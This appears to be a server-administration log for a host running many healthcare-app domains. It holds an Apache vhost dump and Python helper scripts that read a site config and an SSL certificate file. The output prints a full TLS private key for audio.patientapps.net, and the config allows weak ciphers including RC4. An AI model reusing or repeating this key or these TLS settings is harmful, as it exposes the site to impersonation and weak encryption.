                 alias www.ma1-vasc.myapp.care
         port 80 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:2)
                 alias www.ma1-vasr.myapp.care
         port 80 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:2)
                 alias www.ma2-acrp.myapp.care
         port 80 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:2)
                 alias www.ma2-anar.myapp.care
         port 80 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:2)
                 alias www.ma2-anfr.myapp.care
         port 80 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:2)
         port 80 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:2)
                 alias www.ma2-anin.myapp.care
         port 80 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:2)
                 alias www.ma2-anrp.myapp.care
         port 80 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:2)
                 alias www.ma2-buni.myapp.care
         port 80 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:2)
                 alias www.ma2-chel.myapp.care
         port 80 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:2)
                 alias www.ma2-hamm.myapp.care
         port 80 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:2)
                 alias www.ma2-hind.myapp.care
         port 80 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:1)
                 alias www.ma2-lcl.myapp.care
         port 80 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:2)
                 alias www.ma2-mdfu.myapp.care
         port 80 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:2)
                 alias www.ma2-mtfp.myapp.care
         port 80 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:1)
                 alias www.ma2-rcl.myapp.care
         port 80 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:2)
         port 80 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:2)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 80 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:1)
                 alias www.pai-lc.myapp.care
         port 80 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:2)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 80 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:2)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 80 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:2)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 80 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:1)
                 alias www.pai-rco.myapp.care
         port 80 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:2)
                 alias www.sma1-lgb.myapp.care
         port 80 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:2)
                 alias www.sma1-lrygb.myapp.care
         port 80 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:2)
                 alias www.sma1-lsg.myapp.care
         port 80 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:2)
                 alias www.sma1-pcnl.myapp.care
         port 80 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:2)
                 alias www.test.myapp.care
         port 80 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:8)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 80 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:2)
         port 80 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:2)
         port 80 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:2)
         port 80 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:1)
         port 80 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:2)
         port 80 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:2)
                 alias live.patientapps.net
         port 80 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:2)
         port 80 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:2)
         port 80 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:1)
                 alias www.patientapps.net
         port 80 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:2)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 80 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:1)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 80 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:2)
*:443                  is a NameVirtualHost
         default server www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
         port 443 namevhost www.myapp.care (/etc/apache2/sites-enabled/001-myapp_www_care.conf:11)
                 alias myapp.care
         port 443 namevhost condor.hostz.org (/etc/apache2/sites-enabled/hostz_condor_org.conf:22)
         port 443 namevhost cn-dego.myapp.care (/etc/apache2/sites-enabled/myapp_cn-dego_care.conf:19)
                 alias www.cn-dego.myapp.care
         port 443 namevhost d-oak.myapp.care (/etc/apache2/sites-enabled/myapp_d-oak_care.conf:22)
                 alias www.d-oak.myapp.care
         port 443 namevhost ma1-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-acrp_care.conf:22)
                 alias www.ma1-acrp.myapp.care
         port 443 namevhost ma1-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfr_care.conf:22)
                 alias www.ma1-anfr.myapp.care
         port 443 namevhost ma1-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anfu_care.conf:20)
         port 443 namevhost ma1-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anin_care.conf:22)
                 alias www.ma1-anin.myapp.care
         port 443 namevhost ma1-ankp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ankp_care.conf:22)
                 alias www.ma1-ankp.myapp.care
         port 443 namevhost ma1-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-anrp_care.conf:22)
                 alias www.ma1-anrp.myapp.care
         port 443 namevhost ma1-arcr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-arcr_care.conf:22)
                 alias www.ma1-arcr.myapp.care
         port 443 namevhost ma1-asst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-asst_care.conf:22)
                 alias www.ma1-asst.myapp.care
         port 443 namevhost ma1-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-chel_care.conf:22)
                 alias www.ma1-chel.myapp.care
         port 443 namevhost ma1-cybb.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-cybb_care.conf:22)
                 alias www.ma1-cybb.myapp.care
         port 443 namevhost ma1-dego.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-dego_care.conf:21)
                 alias www.ma1-dego.myapp.care
         port 443 namevhost ma1-epas.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-epas_care.conf:22)
                 alias www.ma1-epas.myapp.care
         port 443 namevhost ma1-fass.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-fass_care.conf:22)
                 alias www.ma1-fass.myapp.care
         port 443 namevhost ma1-infp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-infp_care.conf:22)
         port 443 namevhost ma1-larn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-larn_care.conf:20)
         port 443 namevhost ma1-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ldhr_care.conf:22)
                 alias www.ma1-ldhr.myapp.care
         port 443 namevhost ma1-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-lsst_care.conf:22)
                 alias www.ma1-lsst.myapp.care
         port 443 namevhost ma1-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mtfp_care.conf:22)
                 alias www.ma1-mtfp.myapp.care
         port 443 namevhost ma1-mvrc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-mvrc_care.conf:22)
                 alias www.ma1-mvrc.myapp.care
         port 443 namevhost ma1-octf.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-octf_care.conf:22)
                 alias www.ma1-octf.myapp.care
         port 443 namevhost ma1-osbp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-osbp_care.conf:20)
         port 443 namevhost ma1-ovin.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ovin_care.conf:22)
                 alias www.ma1-ovin.myapp.care
         port 443 namevhost ma1-pfer.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-pfer_care.conf:22)
                 alias www.ma1-pfer.myapp.care
         port 443 namevhost ma1-prls.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-prls_care.conf:22)
                 alias www.ma1-prls.myapp.care
         port 443 namevhost ma1-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rcl.conf:8)
                 alias www.ma1-rcl.myapp.care
         port 443 namevhost ma1-ropn.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-ropn_care.conf:20)
         port 443 namevhost ma1-rorp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-rorp_care.conf:22)
                 alias www.ma1-rorp.myapp.care
         port 443 namevhost ma1-savr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-savr_care.conf:21)
                 alias www.ma1-savr.myapp.care
         port 443 namevhost ma1-shem.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-shem_care.conf:22)
                 alias www.ma1-shem.myapp.care
         port 443 namevhost ma1-sspr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-sspr_care.conf:22)
                 alias www.ma1-sspr.myapp.care
         port 443 namevhost ma1-tosr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tosr_care.conf:22)
                 alias www.ma1-tosr.myapp.care
         port 443 namevhost ma1-turp.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-turp_care.conf:20)
         port 443 namevhost ma1-tylo.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tylo_care.conf:22)
                 alias www.ma1-tylo.myapp.care
         port 443 namevhost ma1-typa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-typa_care.conf:22)
                 alias www.ma1-typa.myapp.care
         port 443 namevhost ma1-tyto.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-tyto_care.conf:22)
                 alias www.ma1-tyto.myapp.care
         port 443 namevhost ma1-utfa.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-utfa_care.conf:22)
                 alias www.ma1-utfa.myapp.care
         port 443 namevhost ma1-vasc.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasc_care.conf:22)
                 alias www.ma1-vasc.myapp.care
         port 443 namevhost ma1-vasr.myapp.care (/etc/apache2/sites-enabled/myapp_ma1-vasr_care.conf:22)
                 alias www.ma1-vasr.myapp.care
         port 443 namevhost ma2-acrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-acrp_care.conf:29)
                 alias www.ma2-acrp.myapp.care
         port 443 namevhost ma2-anar.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anar_care.conf:22)
                 alias www.ma2-anar.myapp.care
         port 443 namevhost ma2-anfr.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfr_care.conf:22)
                 alias www.ma2-anfr.myapp.care
         port 443 namevhost ma2-anfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anfu_care.conf:20)
         port 443 namevhost ma2-anin.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anin_care.conf:22)
                 alias www.ma2-anin.myapp.care
         port 443 namevhost ma2-anrp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-anrp_care.conf:22)
                 alias www.ma2-anrp.myapp.care
         port 443 namevhost ma2-buni.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-buni_care.conf:22)
                 alias www.ma2-buni.myapp.care
         port 443 namevhost ma2-chel.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-chel_care.conf:22)
                 alias www.ma2-chel.myapp.care
         port 443 namevhost ma2-hamm.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hamm_care.conf:22)
                 alias www.ma2-hamm.myapp.care
         port 443 namevhost ma2-hind.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-hind_care.conf:22)
                 alias www.ma2-hind.myapp.care
         port 443 namevhost ma2-lcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-lcl_care.conf:19)
                 alias www.ma2-lcl.myapp.care
         port 443 namevhost ma2-mdfu.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mdfu_care.conf:22)
                 alias www.ma2-mdfu.myapp.care
         port 443 namevhost ma2-mtfp.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-mtfp_care.conf:22)
                 alias www.ma2-mtfp.myapp.care
         port 443 namevhost ma2-rcl.myapp.care (/etc/apache2/sites-enabled/myapp_ma2-rcl_care.conf:19)
                 alias www.ma2-rcl.myapp.care
         port 443 namevhost pai-acrc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-acrc_care.conf:20)
         port 443 namevhost pai-ctsr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ctsr_care.conf:22)
                 alias www.pai-ctsr.myapp.care
                 alias 563309.myapp.care
                 alias 179554.myapp.care
         port 443 namevhost pai-lc.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lc_care.conf:24)
                 alias www.pai-lc.myapp.care
         port 443 namevhost pai-ldhr.myapp.care (/etc/apache2/sites-enabled/myapp_pai-ldhr_care.conf:22)
                 alias www.pai-ldhr.myapp.care
                 alias 296550.myapp.care
                 alias 144327.myapp.care
                 alias 654784.myapp.care
         port 443 namevhost pai-lsg-s.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsg-s_care.conf:23)
                 alias 847670.myapp.care
                 alias 573398.myapp.care
         port 443 namevhost pai-lsst.myapp.care (/etc/apache2/sites-enabled/myapp_pai-lsst_care.conf:22)
                 alias www.pai-lsst.myapp.care
                 alias 338088.myapp.care
                 alias 083491.myapp.care
         port 443 namevhost pai-rco.myapp.care (/etc/apache2/sites-enabled/myapp_pai-rco_care.conf:19)
                 alias www.pai-rco.myapp.care
         port 443 namevhost sma1-lgb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lgb_care.conf:21)
                 alias www.sma1-lgb.myapp.care
         port 443 namevhost sma1-lrygb.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lrygb_care.conf:21)
                 alias www.sma1-lrygb.myapp.care
         port 443 namevhost sma1-lsg.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-lsg_care.conf:21)
                 alias www.sma1-lsg.myapp.care
         port 443 namevhost sma1-pcnl.myapp.care (/etc/apache2/sites-enabled/myapp_sma1-pcnl_care.conf:19)
                 alias www.sma1-pcnl.myapp.care
         port 443 namevhost test.myapp.care (/etc/apache2/sites-enabled/myapp_test_care.conf:22)
                 alias www.test.myapp.care
         port 443 namevhost version2.myapp.care (/etc/apache2/sites-enabled/myapp_version2_care.conf:50)
                 alias www.version2.myapp.care
                 wild alias *.myapp.care
         port 443 namevhost athenahealth.patientapps.net (/etc/apache2/sites-enabled/patientapps_athenahealth_net.conf:23)
         port 443 namevhost audio.patientapps.net (/etc/apache2/sites-enabled/patientapps_audio_net.conf:24)
         port 443 namevhost cerner.patientapps.net (/etc/apache2/sites-enabled/patientapps_cerner_net.conf:22)
         port 443 namevhost go.patientapps.net (/etc/apache2/sites-enabled/patientapps_go_net.conf:25)
         port 443 namevhost pai.patientapps.net (/etc/apache2/sites-enabled/patientapps_pai_net.conf:22)
         port 443 namevhost portal.patientapps.net (/etc/apache2/sites-enabled/patientapps_portal_net.conf:23)
                 alias live.patientapps.net
         port 443 namevhost shop.patientapps.co (/etc/apache2/sites-enabled/patientapps_shop_co.conf:21)
         port 443 namevhost test.patientapps.co (/etc/apache2/sites-enabled/patientapps_test_co.conf:23)
         port 443 namevhost patientapps.net (/etc/apache2/sites-enabled/patientapps_www_net.conf:20)
                 alias www.patientapps.net
         port 443 namevhost store.patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_store_com.conf:29)
                 alias store.patientapps.com
                 alias store.patientapps.co
         port 443 namevhost patientappsinc.com (/etc/apache2/sites-enabled/patientappsinc_www_com.conf:24)
                 alias www.patientappsinc.com
                 alias patientapps.com
                 alias www.patientapps.com
         port 443 namevhost vela.work (/etc/apache2/sites-enabled/vela_www_work.conf:23)
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-04-06 23:02:37: 

PUT: /tmp/pkp472036

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/patientapps_audio_net.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 23:02:37: 

chmod 755 /tmp/pkp472036; /tmp/pkp472036; rm /tmp/pkp472036

2026-04-06 23:02:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/patientapps_audio_net.conf	1469

<VirtualHost *:80>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_error.log
    SetEnv pkp_uid	18
    SetEnv pkp_owner	sii
    DirectoryIndex	index.html index.htm index.php index.py
    <FilesMatch \.php$>
        SetHandler	"proxy:unix:/var/run/php7.3-sii.sock|fcgi://localhost"
    </FilesMatch>
    
</VirtualHost>

<VirtualHost *:443>
    ServerName	audio.patientapps.net
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt
    DocumentRoot	/var/www/patientapps_audio
    <Directory /var/www/patientapps_audio>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/patientapps/audio_secure_access.log combined
    ErrorLog	/var/log/apache2/patientapps/audio_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
    DirectoryIndex	index.html index.htm index.php index.py
</VirtualHost>







2026-04-06 23:02:37: 

PUT: /tmp/pkp447697

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-04-06 23:02:37: 

chmod 755 /tmp/pkp447697; /tmp/pkp447697; rm /tmp/pkp447697

2026-04-06 23:02:37: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/40d152ed4fc15024fe57db1999e289aa.crt	5361
7c:b9:54:3d:41:40:61:96:e9:0e:c8:82:75:df:3b:36

-----BEGIN CERTIFICATE-----
MIIFBDCCA+ygAwIBAgISBhpx1b+H/FNLDxPAMgoSJWfCMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwNDA2MjIwNDA1WhcNMjYwNzA1MjIwNDA0WjAgMR4wHAYDVQQD
ExVhdWRpby5wYXRpZW50YXBwcy5uZXQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQCSF0Un1hte6UlL5irti/5ruA8ksZTTqW6B7huEfRYjzvwBkTleqC8N
vAlVNMEj/geYzgaZkXLq6IzuOMlzyd7yEB3Jo/pQLEayLXvkkGmT6HSK+Jz7SlBC
pvaN6EFNF5UtY7SQN8TYs2huzHl8/iElXiDp58HPjLuqTpwDlhvPQ60TBx+u3/Yi
m4YhGNQANaZgN8lPQ6fJLJaLJkxCeeIx4H19wpr2qShKBFKtKOQ47CZi59wSCg5n
4FbvTtSZe7RI9+p85fTC6f4W4tltoiNL5Es6d+0jDjuOc9bcGhyW5vZKerFLb8Ew
t7vibI9W+HK6CXS/z93uqbdQAV8IVMsPAgMBAAGjggIjMIICHzAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQULMO1y+5j8gCiX5h8oPtt53yhS/IwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzAgBgNVHREEGTAXghVhdWRpby5wYXRpZW50YXBwcy5uZXQw
EwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3Ix
Mi5jLmxlbmNyLm9yZy82Ny5jcmwwggEMBgorBgEEAdZ5AgQCBIH9BIH6APgAdgDY
CVU7lE96/8gWGW+UT4WrsPj8XodVJg8V0S5yu0VLFAAAAZ1lCJg1AAAEAwBHMEUC
ICCIWnUvMosJqJTMaGp8mDJV2GGU1qJqPc+/UTwceBtdAiEA+IiHxeRpjHPPgKHf
QGSO5QDMRN+s+K8c94JyuIRDUJgAfgBs/lAZQ6heqRa8UtEz5NzJHvFBHH0lhCDR
c4CeGBjrOgAAAZ1lCJt3AAgAAAUABhn4GwQDAEcwRQIgeFYpz1y9f6N5V6g+kxay
N7wxGMcI5k8Aayu4tcKjSaECIQCqm8eW4lpl4dw5afjCKEdEz11H0iaTLE6F9ewH
NvInATANBgkqhkiG9w0BAQsFAAOCAQEAO91qHAajk8/VB4AVCxW9PacayILyInzk
eCPrYmD0CYakJOKcQaXaVvUO391uzQJ7cuYbjZbsdr91VRcy/1f/xmaU98C2zRWB
svk2AE2ipXNfisjQ7zXfYYxdc+zEJpZoB169OFiuTJ2JigL9nSSsMK8TamK7hfMs
wocSDQOOKv4bcFrDnIwNtR+G1/EiXM5Z3s9scjCA2mC8OtdKmokk9vF2WYrd+0d4
JlxbQW9GLYOwvG2BOzokPISNa1oKhq+ZtNpeIkKJ3Bw0KleSLRun1zda6BKibRq5
aPJ3Yozpqvn1DOiTaebFMKx5iINCfPGe2WSXRWEO5++3yht69fTLMQ==
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvAIBADANBgkqhkiG9w0BAQEFAASCBKYwggSiAgEAAoIBAQCSF0Un1hte6UlL
5irti/5ruA8ksZTTqW6B7huEfRYjzvwBkTleqC8NvAlVNMEj/geYzgaZkXLq6Izu
OMlzyd7yEB3Jo/pQLEayLXvkkGmT6HSK+Jz7SlBCpvaN6EFNF5UtY7SQN8TYs2hu
zHl8/iElXiDp58HPjLuqTpwDlhvPQ60TBx+u3/Yim4YhGNQANaZgN8lPQ6fJLJaL
JkxCeeIx4H19wpr2qShKBFKtKOQ47CZi59wSCg5n4FbvTtSZe7RI9+p85fTC6f4W
4tltoiNL5Es6d+0jDjuOc9bcGhyW5vZKerFLb8Ewt7vibI9W+HK6CXS/z93uqbdQ
AV8IVMsPAgMBAAECggEARK+2LxWmhshOUuYj1s4UT9cZH5pyq9WkhGhL/c3GBA4E
RERgYdXXUbDP/oSwLlj4f2qWhctx6WpvIG4IoW0PamYTa0Oyo9E9Z/akooEXcpg/
ezuKq0d0VvIjR/MkCLgGxnFzar8dyPkJJ9bxY8gkE2qfNPpnEEtNzLPq/HCuIJMt
755pVs4G3ZhUFcd3nwkZP06Gvh9J0wXsqZAGxl/80Z3Lsn39U6I8xSMm03h7rQes
MWLEQ+MNwKvyMJxmJFpV70gTc8CY305L5MYCzgexZqWmYz+zjAq50sKzGIYdxIKZ
cL+kIhbeb0O3N2JkCLPtnB7OvHFrPK3CxlYN22R48QKBgQDNzeRuqUk5HBp2I3VF
yMqW84DqGhDzcD/iTHrjomeQJ8BMU3/83RwAx4CbM/14Q8m3PRyIgf7TH4Bkac0R
Ri1JvA6DL2hNsIHgA9CSIT9GauKZa4EYCiG467iNejKCgXnw4z690vwKhVBfntMK
7Vl/6IDGps76p7O6hmcS0wvK1wKBgQC1uPcdjMBoGjFjwMKf80S9lfEA+8WLMcDu
Tn/N9xOqLzEWmfdhVB6PjvG3omJJqDkH05wsDUU75llcMEsUoZ+idZlQmy4jXPRi
Aon2HEk2PSkZmFhwSbtvW01DOWaKSN34o5WKBnr4df9c5yhl2rQwn2YcZR8qXHZl
Gq8GZiryiQKBgBvR2C4pTg+dP+p2UpTzVodfNS7wBRiTNN+HTRlWS7+N0A3BP8zT
qsRkM3tHZN0L9MmDRkcho2uwl297adAK93Y/KIsNLoFJ+dRpT5lhSyderXDlulag
j/xqSNE/EnLXw78PSNzqF03oxXuXgZm5id6jdDzmMZZqcv4kyuwdgTuTAoGAQgVb
Mk8qsCej/fvQOdBmDwLktljCYlnHIE1AvZGggVn32aBCcgffuoRSaUcDsoL9hUxq
Fs8Tcjm0CXw6Ktq1Zo6XDuPyFUL2Po1xlgqcxqndvsDMkK8Y+9IN9fhqup7SljzI
XYcRMieciSIqWSbmBCxFKtfKRNem5ACXyhlgTRECgYA1we4PLIMsrDICez+iLKU0
U06Ig+TY4eKr+D0gRMwvoO9bWiZmqJjnOUwEfJ5EekxY0BIHdzHk+tBcQAidGiT1
9IcEn4pZMvKcMp+C8IENgvKqg5LF8zUXqoSHzrebKoVh6pz2lmb7OZTS34C9ijPN
qTQhWaq0E2ymiFjjzpHv0w==
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
